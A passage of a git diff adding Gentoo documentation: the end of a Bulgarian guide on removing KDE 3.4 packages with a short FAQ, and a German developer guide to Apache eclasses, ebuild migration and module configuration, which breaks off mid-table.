+командата <c>emerge --unmerge</c>.
+</p>
+
+<pre caption="Премахване на посочените пакети">
+# <i>equery list kde-base/ | grep 3\.4 | xargs emerge --unmerge --pretend</i>
+</pre>
+
+<p>
+Проверете отново и изпълнете командата този път без <c>--pretend</c>.
+</p>
+
+<p>
+Когато задачата приключи, директорията <path>/usr/kde/3.4/</path> трябва да съдържа само 
+няколко конфигурационни файла ( portage никога не премахва конфигурационни файлове ).
+Ако желаете можете спокойно да изтриете <path>/usr/kde/3.4/</path>.
+</p>
+
+</body>
+</section>
+</chapter>
+<chapter>
+<title>Често задавани въпроси</title>
+<section>
+<title>KDE е много бавна по време на стартиране</title>
+<body>
+
+<p>
+Проверете дали файлът <path>/etc/hosts</path> е правилен :
+</p>
+
+<ul>
+  <li>
+  Ако имате постоянен IP адрес, проверете дали  FQDN и hostname 
+   ги има, например <c>192.168.0.10 tux.mydomain tux</c>.
+  </li>
+  <li>
+  Ако имате динамичен IP адрес или нямате допълнителни интефейси,
+  добавете hostname след localhost, например <c>127.0.0.1 localhost tux</c>.
+  </li>
+</ul>
+
+<p>
+Провете дали имате DMA активиран за Вашите дискове:
+</p>
+
+<pre caption="Проверяване на DMA настройките">
+# <i>hdparm /dev/hda</i>
+<comment>(...)</comment>
+using_dma       = 1 (on)
+<comment>(...)</comment>
+</pre>
+
+</body>
+</section>
+</chapter>
+
+</guide>
diff --git a/xml/htdocs/proj/de/apache/apache-developer.xml b/xml/htdocs/proj/de/apache/apache-developer.xml
new file mode 100644
index 00000000..52821f0b
--- /dev/null
+++ b/xml/htdocs/proj/de/apache/apache-developer.xml
@@ -0,0 +1,932 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE guide SYSTEM "/dtd/guide.dtd">
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/de/apache/apache-developer.xml,v 1.3 2008/05/12 19:21:04 keytoaster Exp $ -->
+
+<guide link="/proj/de/apache/apache-developer.xml" lang="de" disclaimer="obsolete" redirect="/proj/en/apache/doc/developer.xml">
+<title>Apache Dokumentation für Entwickler</title>
+
+<author title="Autor">
+  <mail link="vericgar@gentoo.org">Michael Stewart</mail>
+</author>
+<author title="Übersetzer">
+  <mail link="gentoo-doc-de@plicht.de">Ekki Plicht</mail>
+</author>
+
+<abstract>
+Dieses Dokument beschreibt Details zu den neuen 'eclasses', die für Entwickler
+von Paketen, die sich auf Apache beziehen, zur Verfügung stehen.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+<license/>
+
+<version>2.5</version>
+<date>2008-03-02</date>
+
+<chapter>
+<title>Über dieses Dokument</title>
+<section>
+<body>
+
+<p>
+Dieses Dokument erläutert die <uri link="#apache-module">neuen 'eclasses'</uri>,
+<uri link="#changes">Änderungen</uri> gegenüber dem früheren Stil bei
+Apacheinstallationen, sowie notwendige <uri link="#ebuild-update">
+Modifikationen</uri> an den ebuilds um unsere neuen 'eclasses' zu verwenden.
+Falls Sie als Endanwender nach Informationen zum Upgrade suchen, dann lesen
+Sie bitte das <uri link="apache-upgrading.xml">Apache Upgrade</uri> Dokument.
+</p>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="changes">
+<title>Was sich geändert hat</title>
+<section>
+<title>Überblick</title>
+<body>
+
+<p>
+Wir haben viele Änderungen an der Art vorgenommen, wie Apache und die
+dazugehörenden Module installiert werden und bei Gentoo arbeiten. Dies
+erleichtert die Pflege und ist stärker an die Vorgehensweise im Upstream
+angeleht. Unsere Änderungen sind:
+</p>
+
+<ul>
+  <li>Viele Bugs behoben</li>
+  <li>Veränderte Installations- und Konfigurationsverzeichnisse</li>
+  <li>
+    Neu erstellte eclasses <uri link="#depend-apache">depend.apache</uri>
+    und <uri link="#apache-module">apache-module</uri>
+  </li>
+  <li>
+    Zusammenfassen der Dateien apache.conf und commonapache.conf in eine
+    Datei, die sehr ähnlich zu der im Upstream verteilten Datei ist
+  </li>
+  <li>
+    Die Pakete <c>apr</c> und <c>apr-utils</c> wurden herausgenommen, damit
+    einige andere Pakete nicht länger Apache benötigen
+  </li>
+  <li>Updates und neue Versionsnummer bei fast jedem Modul</li>
+  <li>Mehr Apache MPMs verfügbar</li>
+  <li>'lingerd' Unterstützung hinzugefügt</li>
+  <li>Unterstützung für große Dateien repariert</li>
+  <li><e>Und noch viel mehr, das ich sicherlich übersehen habe...</e></li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Apache Verzeichnisse</title>
+<body>
+
+<p>
+In engerer Anlehnung an die Praktiken im Upstream und bei anderen
+Distributionen wurden folgende Verzeichnispfade geändert:
+</p>
+
+</body>
+</section>
+<section>
+<title>Apache 2.x</title>
+<body>
+
+<table>
+<tr>
+  <th>Verwendung</th>
+  <th>Alter Pfad</th>
+  <th>Neuer Pfad</th>
+</tr>
+<tr>
+  <ti>Server Root</ti>
+  <ti><path>/etc/apache2/</path></ti>
+  <ti><path>/usr/lib/apache2/</path></ti>
+</tr>
+<tr>
+  <ti>Konfigurationsverzeichnis</ti>
+  <ti><path>/etc/apache2/conf/</path></ti>
+  <ti><path>/etc/apache2/</path></ti>
+</tr>
+<tr>
+  <ti>Konfigurationsdatei</ti>
+  <ti><path>/etc/apache2/conf/apache2.conf</path></ti>
+  <ti><path>/etc/apache2/httpd.conf</path></ti>
+</tr>
+<tr>
+  <ti>Konfigurationsdatei</ti>
+  <ti><path>/etc/apache2/conf/commonapache2.conf</path></ti>
+  <ti><path>/etc/apache2/httpd.conf</path></ti>
+</tr>
+<tr>
+  <ti>Vhosts Konfiguration</ti>
+  <ti><path>/etc/apache2/conf/vhosts/</path></ti>
+  <ti><path>/etc/apache2/vhosts.d/</path></ti>
+</tr>
+<tr>
+  <ti>Modul-Konfiguration</ti>
+  <ti><path>/etc/apache2/conf/modules.d/</path></ti>
+  <ti><path>/etc/apache2/modules.d/</path></ti>
+</tr>
+<tr>
+  <ti>Modul-Binärdateien</ti>
+  <ti><path>/usr/lib/apache2-extramodules/</path></ti>
+  <ti><path>/usr/lib/apache2/modules/</path></ti>
+</tr>
+</table>
+
+<note>
+Die vorgegebene Standardkonfiguration schließt nun automatisch Dateien in den
+Verzeichnissen <path>modules.d/*.conf</path> und <path>vhosts.d/*.conf</path>
+mit ein. Die Anweisungen in <path>httpd.conf</path> zu den vorgenannten
+Verzeichnissen lauten allerdings <path>conf/modules.d/*.conf</path> und
+<path>conf/vhosts.d/*.conf</path>. Dies kommt daher, weil Apache die
+Konfiguration über das Verzeichnis <path>/usr/lib/apache{|2}</path> einliest,
+das wiederum einen symbolischen Link auf <path>conf -> /etc/apache{|2}</path>
+enthält.
+</note>
+
+
+<impo>
+Falls Sie als Entwickler ein Ebuild an die von uns vorgenommenen Änderungen
+anpassen möchten, dann verwenden Sie bitte keine fest einkodierten Pfade in
+Ihrem Ebuild. Bitte lesen Sie die Dokumentation zu den eclasses über
+geeignete Variablen, die man statt dessen verwenden kann.
+</impo>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="ebuild-update">
+<title>Ebuild anpassen</title>
+<section>
+<body>
+
+
+<p>
+Durch die von uns vorgenommenen Änderungen muss nahezu jedes ebuild, das eine
+Äbhängigkeit zu Apache hat, modifiziert werden. Die Apache 'herd' hat sich
+bereits um die Mehrzahl der betroffenen Pakete gekümmert, da die ja auch
+dafür zuständig sind. Es verbleiben aber eine Reihe von Paketen von anderen
+Verantwortlichen, die noch angepasst werden müssen.
+</p>
+
+<p>
+Dieses Kapitel führt einen Entwickler durch die an einem Ebuild nötigen
+Anpassungen, um die neue Eclass zu verwenden. Dabei verwenden wir eins von
+unseren etwas komplexeren Beispielen: <c>www-apache/mod_ldap_userdir</c>.
+</p>
+
+
+<note>
+Falls Ihr Paket kein eigenständiges Apache Modul ist, sondern nur die von
+Apache verwendeten Verzeichnisse kennen muss, dann verwenden Sie einfach
+<c>inherit depend.apache</c> sowie die von der eclass zur Verfügung
+gestellten Variablen. Siehe die <uri link="#depend-apache">depend.apache
+</uri> Dokumentation.
+</note>
+
+</body>
+</section>
+<section>
+<title>Überblick über die notwendigen Änderungen</title>
+<body>
+
+<ul>
+  <li>
+    Es ist eine neue Revisionsnummer nötig, da ein an die neue eclass
+    angepasstes Paket nicht abwärtskompatibel zu den früheren Versionen
+    von Apache ist.
+  </li>
+  <li>
+    Stellen Sie sicher, dass <c>KEYWORDS</c> auf testing steht und (falls
+    die Apache Pakete noch hart-maskiert sein sollten) fügen Sie das auch
+    in packages.mask hinzu.
+  </li>
+  <li>
+    Ersetzen Sie alle <c>DEPEND</c> auf Apache durch <c>need_apache1</c>
+    (für Apache-1* Module), durch <c>need_apache2</c> (für Apache-2* Module)
+    bzw. durch <c>need_apache</c> (für Module die von Apache-1* oder Apache-2*
+    abhängen können - je nach verwendeten USE Flags).
+  </li>
+  <li>
+    Entfernen Sie alle speziellen Anweisungenm die <c>SLOT</c> oder
+    <c>DEPEND</c> modifizieren, z.B. durch Hacks mit <c>has_version</c>.
+  </li>
+  <li>
+    Überprüfen Sie, ob <c>src_compile</c> in der eclass funktioniert. Falls
+    nicht, setzen Sie <c>APXS1_ARGS</c> und/oder <c>APXS2_ARGS</c>, um andere
+    benötigte Dateien zu kompilieren.
+  </li>
+  <li>Generell können alle Funktionen aus dem Ebuild entfernt werden.</li>
+  <li>
+    Passen Sie die Konfigurationsdatei des Modules so an, dass
+    <c>IfDefine</c>s verwendet werden, um das Modul zu laden und zu
+    konfigurieren.
+  </li>
+  <li>Fügen Sie alle Dokumentationsdateien zu <c>DOCFILES</c> hinzu.</li>
+  <li>
+    Geben Sie die Konfigurationsdatei an, die src_install installieren soll:
+    <c>APACHE1_MOD_CONF</c>, <c>APACHE2_MOD_CONF</c>
+  </li>
+  <li>
+    Geben Sie das <c>IfDefine</c> an, welches das Modul in der
+    Konfigurationsdatei verwendet, damit pkg_postinst den Anwender darüber
+    informieren kann, wie das Modul aktiviert wird: <c>APACHE1_MOD_DEFINE</c>,
+    <c>APACHE2_MOD_DEFINE</c>
+  </li>
+  <li>
+    Vergessen Sie nicht das Ebuild zu testen - und folgen Sie den Hinweisen zur
+    Anpassung in diesem Dokument, falls Sie das noch nicht getan haben sollten.
+  </li>
+</ul>
+
+</body>
+</section>
+<section>
+<title>Ebuild globale Definitionen</title>
+<body>
+
+
+<pre caption="Diff-Ausgabe von mod_ldap_userdir-1.4.1 und
+mod_ldap_userdir-1.4.1-r1 (angepasst)">
++inherit apache-module
++
+-IUSE="apache2 ssl"
++IUSE="ssl"
+
+ DESCRIPTION="Apache module that enables ~/public_html from an LDAP directory."
+ HOMEPAGE="http://horde.net/~jwm/software/mod_ldap_userdir/"
+-KEYWORDS="x86 ppc"
++KEYWORDS="~x86 ~ppc"
+
+ SRC_URI="http://horde.net/~jwm/software/mod_ldap_userdir/${P}.tar.gz"
+
+-DEPEND="=net-www/apache-1*
+-               apache2? ( =net-www/apache-2* )
+-               ssl? ( dev-libs/openssl )
+-               net-nds/openldap"
++DEPEND="ssl? ( dev-libs/openssl )
++               net-nds/openldap"
+
+ LICENSE="GPL-1"
+ SLOT="0"
++
++DOCFILES="DIRECTIVES README user-ldif posixAccount-objectclass"
++APACHE1_MOD_CONF="${PVR}/47_mod_ldap_userdir"
++APACHE2_MOD_CONF="${PVR}/47_mod_ldap_userdir"
++APACHE1_MOD_DEFINE="LDAPuserdir"
++APACHE2_MOD_DEFINE="LDAPuserdir"
++
++need_apache
+</pre>
+
+
+<p>
+Wir beginnen mit <c>inherit apache-module</c>, das seinerseits
+<c>depend.apache</c> beerbt. <c>depend-apache</c> definiert zum Einen die
+Verzeichnisse von Apache, zum Anderen (und noch wichtiger) definiert es drei
+<c>DEPEND</c>s. <c>APACHAE1_DEPEND</c> für die Pakete, die apache-1*
+benötigen, <c>APACHE2_DEPEND</c> für die Pakete, die apache-2* benötigen,
+sowie <c>APACHE_DEPEND</c> für die Pakete, die in Abhängigkeit von den
+USE-Flags entweder apache-1* oder apache-2* benötigen.
+</p>
+
+<note>
+Zu diesem Zeitpunkt unterstützen wir keine gleichzeitige Installation beider
+Versionen (obwohl das möglich ist), daher unterstützen wir auch nicht die
+Installation eines Moduls für beide Versionen von Apache. Module sollten
+nur dann einen <c>SLOT</c> ungleich <c>0</c> verwenden, wenn sie mehrere
+Versionszeilen haben und jeweils eine andere Version von Apache unterstützen
+(z.B.: <path>mod_layout-3.2.1-r1</path> hat <c>SLOT="1"</c> und
+<path>mod_layout-4.0.1a-r1</path> hat <c>SLOT="2"</c>).
+</note>
+
+<p>
+Die Hauptlast für die Modul-Pakete wird von <c>apache-module</c> getragen,
+das vernünftige Vorgaben für <c>pkg_setup</c>, <c>src_compile</c>,
+<c>src_install</c> und <c>pkg_postinst</c> voreinstellt.
+</p>
+
+<p>
+Da <c>depend.apache</c> je nach Notwendigkeit <c>apache2</c> zu IUSE
+hinzufügt, müssen Sie dieses im IUSE Ihres Ebuilds nicht mehr explizit
+definieren. Lassen Sie bestehende Definitonen jedoch drin, falls Sie in Ihrem
+Ebuild das USE-Flag irgendwo verwenden.
+</p>
+
+<p>
+<c>depend.apache</c> übernimmt es, das richtige DEPEND zur Ihrem DEPEND
+hinzuzufügen (falls Sie eine der Funktionen <c>need_apache{|1|2}</c>
+verwenden), daher können Sie das Apache DEPEND aus Ihrem Ebuild entfernen.
+</p>
+
+<p>
+<c>src_install</c> aus <c>apache-module</c> verwendet <c>DOCFILES</c>, um die
+gesamte Dokumentation zu installieren. Dabei erkennt <c>src_install</c>
+automatisch HTML- und andere Dateien und verwendet entsprechend <c>dodoc</c>
+oder <c>dohtml</c>, um die Dateien in die richtigen Verzeichnisse zu
+installieren.
+</p>
+
+<p>
+<c>APACHE1_MOD_CONF</c> und <c>APACHE2_MOD_CONF</c> definieren die
+Konfigurationsdatei, die für das Modul installiert werden soll. Diese wird
+während <c>src_install</c> verwendet, so können die Pfade relativ zu dem
+sein, was Sie in <c>APXS1_S</c> oder <c>APXS2_S</c> festlegen (Vorgabe ist
+<c>${S}/src</c> falls es sich um ein Verzeichnis handelt, sonst nur
+<c>${S}</c>).
+</p>
+
+<p>
+<c>APACHE1_MOD_DEFINE</c> und <c>APACHE2_MOD_DEFINE</c> teilen der eclass mit,
+welche <c>&lt;IfDefine MODULENAME&gt;</c> das Modul verwendet. Dies wird
+verwendet, um dem Anwender Anweisungen anzuzeigen, wie das Modul zu aktivieren
+ist.
+</p>
+
+</body>
+</section>
+<section>
+<title>src_compile</title>
+<body>
+
+<p>
+Unter Umständen wird <c>src_compile</c> benötigt, um spezielle Schritte
+auszuführen, die die eclass nicht bearbeiten kann. Das sollten aber wenige
+Fälle sein. In den meisten Fällen sollte es ausreichen das <c>Makefile</c>
+zu überarbeiten und entsprechende Einträge zu <c>APXS1_ARGS</c> und
+<c>APXS2_ARGS</c> hinzuzufügen.
+</p>
+
+<pre caption="Diff-Ausgabe von mod_ldap_userdir-1.4.1 und
+mod_ldap_userdir-1.4.1-r1 (angepasst)">
+-src_compile() {
+-       local myconf
+-       if use apache2; then
+-               myconf="${myconf} --with-apxs2=/usr/sbin/apxs2"
+-       else
+-               myconf="${myconf} --with-apxs=/usr/sbin/apxs"
+-       fi
+-
+-       use ssl &amp;&amp; myconf="${myconf} -with-tls"
+-
+-       myconf="${myconf} --with-activate"
+-       ./configure ${myconf} || die "Configure failed"
+-       make clean
+-       make || die "Make failed"
+-}
+
++src_compile() {
++       local myargs="-lldap -llber -c ${PN}.c"
++       use ssl &amp;&amp; myargs="${myargs} -D TLS=1"
++
++       APXS2_ARGS="${myargs}"
++       APXS1_ARGS="${myargs}"
++
++       apache-module_src_compile
++
++}
+</pre>
+
+<note>
+Falls APXS1_ARGS oder APXS2_ARGS unterschiedlich sein müssen, gilt generell,
+dass diese im globalen Adressbereich definiert sind. <path>mod_ldap_userdir
+</path> unterscheidet sich in dieser Hinsicht, weil der Zustand des ssl
+USE-Flags diese Variablen beeinflusst und es effizienter ist, diese Werte
+nur in <c>src_compile</c> zu setzen, anstatt bei jedem Aufruf des Ebuilds
+den USE check ablaufen zu lassen.
+</note>
+
+</body>
+</section>
+<section>
+<title>src_install</title>
+<body>
+
+<p>
+In den meisten Fällen wird <c>src_install</c> nicht benötigt. Ausnahmen gibt
+es dann, wenn andere Verzeichnisse installiert oder die Dateiberechtigungen
+verändert werden müssen.
+</p>
+
+<pre caption="Diff-Ausgabe von mod_ldap_userdir-1.4.1 und mod_ldap_userdir-1.4.1-r1 (angepasst)">
+-src_install() {
+-       if use apache2; then
+-               exeinto /usr/lib/apache2-extramodules
+-               doexe mod_ldap_userdir.so
+-       else
+-               exeinto /usr/lib/apache-extramodules
+-               doexe mod_ldap_userdir.so
+-       fi
+-       dodoc DIRECTIVES README user-ldif posixAccount-objectclass
+-}
++src_install() {
++       apache-module_src_install
++       if [ "${APACHE_VERSION}" == "2" ]; then
++               fperms 600 ${APACHE2_MODULES_CONFDIR}/$(basename ${APACHE2_MOD_CONF})
++       else
++               fperms 600 ${APACHE1_MODULES_CONFDIR}/$(basename ${APACHE1_MOD_CONF})
++       fi
++}
+</pre>
+
+<p>
+Wie Sie sehen können haben wir in <path>mod_ldap_userdir</path> einige
+Korrekturen hinzugefügt, die in der vorherigen Version nicht vorhanden waren.
+So wurde eine Konfigurationsdatei eingefügt, ebenso das Setzen der dafür
+nötigen Berechtigungen. Aber das Ganze ist immer noch in <c>apache-module</c>
+eingebunden indem wir <c>apache-module_src_install</c> aus unserem
+<c>src_install</c> heraus aufrufen. In den meisten Fällen wird aber
+<c>src_install</c> gar nicht nötig sein.
+</p>
+
+<p>
+Die Installation des Modules, der Konfigurationsdateien und der Dokumentation
+an die richtigen Stellen im Dateisystem wird komplett von <c>src_install</c>
+vorgenommen.
+</p>
+
+</body>
+</section>
+<section>
+<title>Andere Funktionen</title>
+<body>
+
+<p>
+In den meisten Fällen braucht pkg_postinst oder pkg_config nicht verwendet zu
+werden, da es die eclass übernimmt dem Anwender die Anweisungen darüber
+auszugeben, wie das Modul aktiviert werden kann und wo sich die
+Konfigurationsdatei befindet. Falls zusätzliche Anweisungen für die
+Einrichtung des Modules nötig sind, kann ein <c>pkg_postinst</c> hinzugefügt
+werden. Das sollte dann aber selbst auch <c>apache1_pkg_postinst</c> bzw.
+<c>apache2_pkg_postinst</c> aufrufen.
+</p>
+
+<pre caption="Diff-Ausgabe von mod_ldap_userdir-1.4.1 und mod_ldap_userdir-1.4.1-r1 (angepasst)">
+-pkg_postinst() {
+-       if use apache2; then
+-               elog "Adjust /etc/apache2/conf/modules.d/47_mod_ldap_userdir.conf to match your setup and"
+-               elog "add '-D LDAPuserdir' to your APACHE2_OPTS in /etc/conf.d/apache2"
+-               elog "To configure the package run \"ebuild /var/db/pkg/net-www/${PF}/${PF}.ebuild config\""
+-       fi
+-}
+-
+-pkg_config() {
+-       /usr/sbin/apacheaddmod \
+-       ${ROOT}/etc/apache/conf/apache.conf \
+-       extramodules/mod_ldap_userdir.so mod_ldap_userdir.c ldap_userdir_module \
+-       define=LDAPuserdir addconf=conf/addon-modules/47_mod_ldap_userdir.conf
+-}
+</pre>
+
+<p>
+Mit der neuen Vorgabekonfiguration von Apache ist es für den Anwender nicht
+länger nötig <c>httpd.conf</c> anzupassen, um einzelne Module zu aktivieren.
+Sämtliche <path>*.conf</path>-Dateien im Verzeichnis <path>modules.d</path>
+werden automatisch eingefügt. Jede Datei in diesem Verzeichnis sollte
+vollständig von einem <c>&lt;IfDefine MODULNAME&gt;</c>-Block umschlossen
+sein, damit die Anweisungen aus diesem Block nur ausgeführt werden, wenn der
+Anwender ein <c>-D MODULNAME</c> in der Datei <c>/etc/conf.d/apache{|2}</c>
+eingetragen hat.
+</p>
+
+</body>
+</section>
+<section>
+<title>Konfigurationsdatei</title>
+<body>
+
+<p>
+Die meisten Konfigurationsdateien werden nicht viele Anpassungen benötigen.
+Das Wichtigste worauf man achten muss, ist es sicherzustellen, dass die
+richtigen Verzeichnispfade beim Laden der Module verwendet werden:
+</p>
+
+
+<pre caption="LoadModule Anweisung">
+<comment>(Bisherige Anweisung:)</comment>
+LoadModule ldap_userdir_module  extramodules/mod_ldap_userdir.so
+
+<comment>(Neue Anweisung:)</comment>
+LoadModule ldap_userdir_module  modules/mod_ldap_userdir.so
+</pre>
+
+<p>
+Desweiteren ist es nötig, dass jede Konfigurationsdatei vollständig in einen
+<c>%lt;IfDefine MODULENAME&gt;</c>-Block eingeschlossen ist. Falls Sie das
+nicht machen, wird das Modul grundsätzlich von Apache geladen. Das wollen wir
+aber nicht - welches Modul geladen wird, soll der Anwender steuern können,
+indem er die <path>/etc/conf.d/apache{|2}</path> Datei anpasst.
+</p>
+
+<pre caption="Beispiel .conf Datei">
+&lt;IfDefine LDAPuserdir&gt;
+  &lt;IfModule !mod_ldap_userdir.c&gt;
+    <comment># Load the module:</comment>
+    LoadModule ldap_userdir_module  modules/mod_ldap_userdir.so
+  &lt;/IfModule&gt;
+&lt;/IfDefine&gt;
+
+&lt;IfModule mod_ldap_userdir.c&gt;
+<comment># Stellen Sie hier eine vernünftige Vorgabekonfiguration ein:</comment>
+
+    LDAPUserDir             public_html
+    LDAPUserDirDNInfo       cn=root,dc=yourcompany,dc=com yourpassword
+    LDAPUserDirBaseDN       ou=People,dc=yourcompany,dc=com
+
+&lt;/IfModule&gt;
+</pre>
+
+<note>
+Einige Module möchten Dateinamenserweiterungen einführen, die von
+DirectoryIndex berücksichtigt werden sollen. Wir haben Apache entsprechend
+erweitert und eine neue Anweisung AddDirectoyIndex eingeführt, die genau das
+übernimmt. AddDirectoryIndex wird genauso verwendet wie DirectoryIndex, mit
+dem Unterschied, dass der bisherige Inhalt von DirectoryIndex nicht ersetzt
+wird. Darüberhinaus gibt es eine neue Anweisung RemoveDirectoryIndex, falls
+das mal nötig werden sollte.
+</note>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="apache-module">
+<title>apache-module eclass</title>
+<section>
+<title>Beschreibung</title>
+<body>
+
+<p>
+Die eclass <c>apache-module</c> bietet eine Reihe von nützlichen Funktionen
+um Apache-Module zu kompilieren. Da die meisten Module auf genau die gleiche
+Weise kompiliert werden, ermöglicht dies extrem einfach aufgebaute Ebuilds.
+</p>
+
+</body>
+</section>
+<section>
+<title>Funktionen</title>
+<body>
+
+<table>
+<tr>
+  <th>Funktion</th>
+  <th>Beschreibung</th>
+</tr>
+<tr>
+  <ti><c>apache_cd_dir</c></ti>
+  <ti>Liefert den richtigen Pfad zum temporären build-Verzeichnis</ti>
+</tr>
+<tr>
+  <ti><c>apache_mod_file</c></ti>
+  <ti>Liefert den Pfad zum gerade erstellten und installationsbereiten Modul
+  </ti>
+</tr>
+<tr>
+  <ti><c>apache_doc_magic</c></ti>
+  <ti>
+    Kann mit einem optionalen Argument aufgerufen werden. Falls das Argument
+    vorhanden ist, liefert die Funktion alle *.html Dateien in <c>${DOCFILES}
+    </c>, andernfalls alle nicht-*.html Dateien.
+  </ti>
+</tr>
+<tr>
+  <ti><c>apache1_src_compile</c></ti>
+  <ti>
+    Ruft <c>${APXS1}</c> mit den Argumenten aus <c>${APXS1_ARGS}</c> auf.
+    Falls ein Modul eine andere build-Parametrisierung benötigt, verwenden
+    Sie <c>${APXS1}</c> in Ihrer eigenen src_compile Routine.
+  </ti>
+</tr>
+<tr>
+  <ti><c>apache1_src_install</c></ti>
+  <ti>
+    Installiert das Modul und die Konfigurationsdateien in die Verzeichnisse
+    von Apache. Diese Funktion führt die Installation des Moduls und dessen
+    Konfiguration durch, sowie die Bearbeitung aller damit zusammenhängenden
+    ausführbaren Dateien sowie der Dokumentation.
+  </ti>
+</tr>
+<tr>
+  <ti><c>apache1_pkg_postinst</c></ti>
+  <ti>Gibt die Standard-Konfigurationsmeldungen aus.</ti>
+</tr>
+<tr>
+  <ti><c>apache2_pkg_setup</c></ti>
+  <ti>
+    Falls APACHE2_SAFE_MPMS gesetzt ist, prüft diese Funktion die installierten
+    MPMs und gibt eine Fehlermeldung aus, falls keine sicheren MPMs installiert
+    sind.
+  </ti>
+</tr>
+<tr>
+  <ti><c>apache2_src_compile</c></ti>
+  <ti>
+    Ruft <c>${APXS2}</c> mit den Argumenten aus <c>${APXS2_ARGS}</c> auf.
+    Falls ein Modul eine andere build-Parametrisierung benötigt, verwenden
+    Sie <c>${APXS2}</c> in Ihrer eigenen src_compile Routine.
+  </ti>
+</tr>
+<tr>
+  <ti><c>apache2_src_install</c></ti>
+  <ti>
+    Installiert das Modul und die Konfigurationsdateien in die Verzeichnisse
+    von Apache. Diese Funktion führt die Installation des Moduls und dessen
+    Konfiguration durch, sowie die Bearbeitung aller damit zusammenhängenden
+    ausführbaren Dateien und der Dokumentation.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>apache-module_pkg_setup</c><br />
+    <c>apache-module_src_compile</c><br />
+    <c>apache-module_src_install</c><br />
+    <c>apache-module_pkg_postinst</c>
+  </ti>
+  <ti>
+    Dies sind verallgemeinerte apache1_*- oder apache2_*-Funktionen. Sie
+    erkennen automatisch die Apacheversion, für die das Modul installiert
+    und konfiguriert werden soll.
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+<section>
+<title>Variablen</title>
+<body>
+
+<table>
+<tr>
+  <th>Variable</th>
+  <th>Voreinstellung</th>
+  <th>Beschreibung</th>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_MOD_CONF</c><br />
+    <c>APACHE2_MOD_CONF</c>
+  </ti>
+  <ti>Keine</ti>
+  <ti>
+    Der Ort der Modulkonfiguration innerhalb von <c>${FILESDIR]</c>, ohne
+    die .conf Dateinamenserweiterung.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_MOD_DEFINE</c><br />
+    <c>APACHE2_MOD_DEFINE</c>
+  </ti>
+  <ti>Keine</ti>
+  <ti>
+    Name des 'define's in der Modulkonfiguration. Wird für eine Ausgabe an
+    den Anwender verwendet, dass dieser es zu der <path>/etc/conf.d/apache{|2}
+    </path>Datei hinzufügen soll.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_EXECFILES</c><br />
+    <c>APACHE2_EXECFILES</c>
+  </ti>
+  <ti>Keine</ti>
+  <ti>Weitere ausführbare Dateien, die installiert werden sollen.</ti>
+</tr>
+<tr>
+  <ti>
+    <c>APACHE1_MOD_FILE</c><br />
+    <c>APACHE2_MOD_FILE</c>
+  </ti>
+  <ti>
+    ${PN}.so<br />
+    .libs/${PN}.so
+  </ti>
+  <ti>Das Modul, das von <c>src_install</c> installiert werden soll.</ti>
+</tr>
+<tr>
+  <ti><c>APACHE2_SAFE_MPMS</c></ti>
+  <ti>Keine</ti>
+  <ti>
+    Eine Liste von MPMs die mit diesem Modul zusammenarbeiten. Falls diese
+    Variable nicht gesetzt ist, wird keine Prüfung über vorhandene MPMs
+    vorgenommen. Falls unsichere MPMs installiert sind, bekommt der Anwender
+    eine Warnung. Falls keine sicheren MPMs installiert sind, verweigert das
+    Modul die Installation.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>APXS1_S</c><br />
+    <c>APXS2_S</c>
+  </ti>
+  <ti>Keine</ti>
+  <ti>
+    Pfade zu den temporären build-Verzeichnissen. Falls gesetzt, werden diese
+    Werte von <c>apache_cd_dir</c> zurückgegeben, andernfalls gibt diese
+    Funktion <c>${S}/src</c> (falls es sich um ein Verzeichnis handelt) oder
+    <c>${S}</c> zurück.
+  </ti>
+</tr>
+<tr>
+  <ti>
+    <c>APXS1_ARGS</c><br />
+    <c>APXS2_ARGS</c>
+  </ti>
+  <ti>-c ${PN}.c</ti>
+  <ti>Argumente die an das apxs-Werkzeug übergeben werden.</ti>
+</tr>
+<tr>
+  <ti><c>DOCFILES</c></ti>
+  <ti>Keine</ti>
+  <ti>
+    Die Dokumentationsdateien, die installiert werden sollen. Dateien mit der
+    Endung .html werden mit <c>dohtml</c>, alle anderen Dateien mit
+    <c>dodoc</c> installiert.
+  </ti>
+</tr>
+</table>
+
+</body>
+</section>
+</chapter>
+
+<chapter id="depend-apache">
+<title>depend.apache eclass</title>
+<section>
+<title>Beschreibung</title>
+<body>
+
+<p>
+Die <c>depend.apache</c> eclass setzt die Vorgaben für verschiedene Apache
+Verzeichnisse und übernimmt das Setzen von Abhängigkeiten zu Apache. Generell
+sollte diese eclass nicht für Module verwendet werden, sondern nur für
+Programme die von Apache abhängig sind, selbst aber keine Module sind.
+(Module sollten die <uri link="#apache-module">apache-module</uri> eclass
+verwenden.)
+</p>
+
+</body>
+</section>
+<section>
+<title>Funktionen</title>
+<body>
+
+<table>
+<tr>
+  <th>Funktion</th>
+  <th>Beschreibung</th>
+</tr>
+<tr>
+  <ti><c>need_apache1</c></ti>
+  <ti>
+    Diese Funktion setzt die richtigen Abhängigkeitsinformationen für Pakete,
+    die nur apache-1.x unterstützen. Pakete, die apache-1.x benötigen, sollen
+    <c>need_apache1</c> im globalen Geltungsbereich aufrufen, um die
+    Abhängigkeiten korrekt zu setzen.
+  </ti>
+</tr>
+<tr>
+  <ti><c>need_apache2</c></ti>
+  <ti>
+    Diese Funktion setzt die richtigen Abhängigkeitsinformationen für Pakete,
+    die nur apache-2.x unterstützen. Pakete, die apache-2.x benötigen, sollen
+    <c>need_apache2</c> im globalen Geltungsbereich aufrufen, um die
+    Abhängigkeiten korrekt zu setzen.
+  </ti>
+</tr>
+<tr>
+  <ti><c>need_apache</c></ti>
+  <ti>
+    Diese Funktion setzt die richtigen Abhängigkeitsinformationen in Bezug
+    auf die momentan eingestellten USE-Flags. Pakete, die beide Versionen von
+    Apache verwenden können, sollen <c>need_apache</c> im globalen
